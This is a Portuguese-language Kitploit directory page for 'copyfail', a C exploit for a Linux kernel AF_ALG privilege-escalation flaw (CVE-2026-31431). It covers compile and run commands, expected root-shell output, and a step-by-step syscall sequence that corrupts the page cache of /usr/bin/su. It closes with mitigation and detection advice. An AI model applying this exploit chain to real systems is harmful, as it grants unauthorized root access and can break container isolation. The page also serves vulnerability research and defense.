Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/polyakovavv/copyfail
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubpolyakovavv/copyfail

copyfail

Exploit local de escalonamento de privilégios baseado em C para CVE-2026-31431, uma vulnerabilidade do kernel Linux na interface criptográfica AF_ALG, fornecendo acesso root por meio da manipulação do cache de páginas.

Ver Repositório
2há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Visão Geral

Copy Fail (CVE-2026-31431) — é uma vulnerabilidade lógica no kernel Linux que permite a um usuário local sem privilégios elevar seus privilégios ao nível de superusuário (root). A vulnerabilidade pertence à classe Local Privilege Escalation (LPE), não requer condições complexas de exploração (como race condition ou adivinhação de endereços de memória) e funciona "pronta para uso" na maioria das distribuições Linux lançadas após 2017.

Este repositório contém um port do exploit original em Python para a linguagem C com comentários detalhados, adequado para compilação estática e uso em ambientes mínimos.


Conteúdo

  • Vulnerabilidade
    • Essência da vulnerabilidade
    • Mecanismo de exploração
    • Sistemas afetados
  • Exploit
    • Características do port em C
    • Compilação
    • Uso
  • Como funciona
    • Análise passo a passo
    • Por que o cache de páginas é alterado
  • Mitigação da vulnerabilidade

Vulnerabilidade

Essência da vulnerabilidade

A vulnerabilidade surge de um erro lógico na subsistema criptográfico do kernel Linux, relacionado ao processamento de AF_ALG (interface da API criptográfica do kernel) e ao mecanismo de cache de páginas (page cache).

O erro foi introduzido em 2017 ao adicionar uma otimização que removeu o buffer extra ao executar operações de criptografia de bloco AEAD (Authenticated Encryption with Associated Data) in-place. Devido ao processamento incorreto dos limites dos buffers no algoritmo authencesn (parte do template criptográfico AEAD), ocorre uma escrita de 4 bytes além do buffer alocado, resultando em danos às estruturas de gerenciamento do cache de páginas.

Como resultado, o kernel pode gravar dados de volta no cache de páginas de um arquivo, mesmo que ele tenha sido aberto somente para leitura (O_RDONLY).

Mecanismo de exploração

  1. Um usuário sem privilégios abre um socket AF_ALG e inicializa o algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).
  2. Através de setsockopt(), parâmetros anômalos são definidos:
    • Chave de formato especial (manipulação dos buffers do kernel).
    • Tamanho do tag de autenticação = 4 bytes (em vez dos normais 16–32 bytes para HMAC-SHA256).
  3. Através de sendmsg() com control messages, uma operação de descriptografia é iniciada.
  4. A chamada de sistema splice() move dados do arquivo alvo (aberto com O_RDONLY) para o socket criptográfico.
  5. Devido ao erro em authencesn, o cache de páginas do arquivo é corrompido, e os dados "descriptografados" são gravados de volta no cache.
  6. O kernel executa o arquivo setuid modificado a partir do cache de páginas, resultando na execução de código com privilégios de root.

Sistemas afetados

Distribuições vulneráveis (ao usar kernels com o módulo algif_aead carregado):

  • Ubuntu (todas as versões)
  • Debian (todas as versões)
  • RHEL / CentOS / Rocky / Alma Linux
  • SUSE / openSUSE
  • Fedora
  • Arch Linux
  • Outras distribuições baseadas em kernels vulneráveis

Importância especial: em ambientes de contêineres (Docker, LXC, Kubernetes), os processos dentro do contêiner têm acesso à subsistema AF_ALG por padrão, se o módulo algif_aead estiver carregado no kernel do host. Isso cria o risco de quebra do isolamento do contêiner e obtenção de controle sobre a máquina host.

Verificação da vulnerabilidade:

root@kitploit:~
# Verificar se o módulo algif_aead está carregado
lsmod | grep algif

# Verificar a presença de AF_ALG no kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

Exploit

Características do port em C

O exploit original foi escrito em Python (≈732 bytes). Este port em C possui as seguintes características:

  • Compilação estática — funciona em ambientes mínimos sem Python.
  • Total autonomia — requer apenas a biblioteca padrão C e libz.
  • Comentários detalhados em português — cada etapa da exploração está documentada.
  • Comportamento idêntico — as chamadas de sistema correspondem exatamente à versão em Python (verificado via strace).
  • recv() não bloqueante — evita travamentos, repetindo o comportamento de try/except do Python.

Principais diferenças em relação à versão Python, identificadas durante o port:

Compilação

root@kitploit:~
# Requer libz (zlib1g-dev ou zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2

Uso

root@kitploit:~
./copyfail

Em caso de exploração bem-sucedida, uma versão com patch de /usr/bin/su será executada, fornecendo acesso root sem solicitar senha.

Saída esperada:

root@kitploit:~
================================================================
  CVE-2026-31431 'Copy Fail' Exploit
================================================================

[+] /usr/bin/su aberto
[+] 40 chunks
[*] 40/40 ok

# id
uid=0(root) gid=0(root) groups=0(root)

Como funciona

Análise passo a passo

Abaixo está uma análise detalhada de cada etapa do exploit com as chamadas de sistema correspondentes:

Etapa 1: Criação do socket AF_ALG

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead", 
     salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);

Um socket é criado para acesso à API criptográfica do kernel. O algoritmo authencesn (Authenticated Encryption with Sequence Numbers) é um algoritmo AEAD composto que usa AES-CBC para criptografia e HMAC-SHA256 para autenticação.

Etapa 2: Definição dos parâmetros vulneráveis

root@kitploit:~
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
  • Chave: 40 bytes de formato especial, manipulando os buffers internos do kernel.
  • Tamanho do tag de autenticação: 4 bytes. O valor normal para HMAC-SHA256 é de 16–32 bytes. Um valor anormalmente pequeno leva a um estouro de buffer no kernel.

Etapa 3: Inicialização da operação de descriptografia

root@kitploit:~
accept(sock, NULL, NULL);  // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data, 
        cmsg=[(SOL_ALG, 3, 4 zeros),        // ALG_SET_OP = DECRYPT
              (SOL_ALG, 2, 0x10+19 zeros),  // ALG_SET_IV
              (SOL_ALG, 4, 0x08+3 zeros)]},  // ALG_SET_AEAD_ASSOCLEN
        MSG_MORE);

Uma conexão é criada para a operação. Através de sendmsg() com control messages (CMSG), os parâmetros são definidos:

  • Operação: descriptografia (ALG_OP_DECRYPT = 0).
  • IV: 20 bytes (em vez dos normais 16 para AES).
  • Dados associados: 8 bytes (sem transferência real de dados).

Todas essas anomalias criam inconsistências no gerenciamento de memória do kernel.

Etapa 4: Transferência de dados via splice()

root@kitploit:~
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);

splice() é uma chamada de sistema para mover dados entre descritores de arquivo sem copiar pelo userspace. Os dados são movidos no nível do kernel através do mecanismo de pipe.

  1. splice(target_fd -> pipe): os dados do arquivo alvo (/usr/bin/su) entram no pipe.
  2. splice(pipe -> conn_sock): os dados do pipe entram no socket criptográfico como "texto cifrado".

Ponto-chave: no Python (e neste port), o offset para o pipe é passado como NULL, permitindo que o kernel gerencie automaticamente a posição.

Etapa 5: Finalização e ignorar o erro

root@kitploit:~
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);

A chamada recv() faz o kernel concluir a operação criptográfica. No modo normal, os dados descriptografados seriam retornados aqui, mas devido aos parâmetros anômalos, um erro EBADMSG (Python) ou EAGAIN (C com O_NONBLOCK) é retornado. O erro é ignorado — o dano ao cache de páginas já ocorreu na etapa splice().

Por que o cache de páginas é alterado

O cache de páginas (page cache) é o cache do conteúdo dos arquivos na memória RAM. Quando um processo abre um arquivo com O_RDONLY, o kernel permite apenas a leitura desse cache. No entanto, a vulnerabilidade permite contornar essa restrição:

  1. Inconsistência nos tamanhos dos buffers: authsize=4 em vez de 16–32 cria buffers de tamanho incorreto.
  2. Estouro de buffer: durante a "descriptografia", os dados são gravados além do buffer alocado.
  3. Corrupção do contador de referência: o estouro afeta as estruturas de gerenciamento de páginas (page reference count).
  4. Gravação no cache: o kernel, pensando que a página está livre, grava os dados "descriptografados" nela.
  5. Ignorar O_RDONLY: a verificação de permissões de acesso ocorre no nível VFS na chamada write(), mas splice() opera diretamente no nível do cache de páginas, contornando essas verificações.

As alterações ocorrem apenas na memória RAM, não no disco. Isso torna o ataque difícil de detectar por meios padrão de controle de integridade. Após uma reinicialização ou limpeza do cache de páginas, os vestígios do ataque desaparecem.


Mitigação da vulnerabilidade

Método principal

Atualizar o kernel Linux para uma versão que contenha a correção.

Medidas temporárias

Desativar o módulo algif_aead:

root@kitploit:~
# Proibir o carregamento do módulo
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf

# Descarregar o módulo (se carregado)
sudo rmmod algif_aead

Recomendações adicionais:

  • Restringir o acesso local dos usuários.
  • Usar monitoramento de integridade do kernel e do sistema.
  • Aplicar o princípio do menor privilégio.
  • Em ambientes de contêineres, proibir o acesso a AF_ALG através de perfis seccomp.

O arquivo /usr/bin/su é alterado no disco?

Não. As alterações ocorrem apenas no cache de páginas (memória RAM). O conteúdo do arquivo no disco permanece inalterado. Após a reinicialização do sistema, o cache de páginas é limpo e o arquivo retorna ao seu estado original.

É possível detectar a exploração?

A detecção é possível através de:

  • Monitoramento de chamadas de sistema (auditd, strace).
  • Análise de anomalias no uso de sockets AF_ALG.
  • Controle de integridade de arquivos na memória (não no disco).

As ferramentas padrão de controle de integridade (AIDE, Tripwire) não detectarão as alterações, pois o arquivo no disco permanece inalterado.

Aviso Legal

Este código é fornecido exclusivamente para fins educacionais e de pesquisa. O autor não se responsabiliza por qualquer uso deste código para fins ilícitos. O uso do exploit sem permissão explícita do proprietário do sistema é ilegal e pode acarretar responsabilidade criminal.

Use apenas em sistemas que pertencem a você ou em sistemas onde você tenha permissão explícita por escrito para testes de segurança.

Baixar ferramenta
ComponenteDescrição
Kernel LinuxTodas as versões de 2017 até a inclusão do patch corretivo
Subsistemacrypto (módulo algif_aead)
InterfaceAF_ALG — acesso do usuário à API criptográfica do kernel
Chamada de sistemasplice() em conjunto com sockets AF_ALG
ParâmetroPythonC (este port)
Flag sendmsg()MSG_MOREMSG_MORE
Flag splice()00
Offset no pipeNULLNULL
Tamanho da chave40 bytes40 bytes
cmsg_len20/36/2020/36/20 (fixo)
Criação do pipepipe2(fds, O_CLOEXEC)pipe2(fds, O_CLOEXEC)
recv()Bloqueante com try/exceptNão bloqueante (O_NONBLOCK)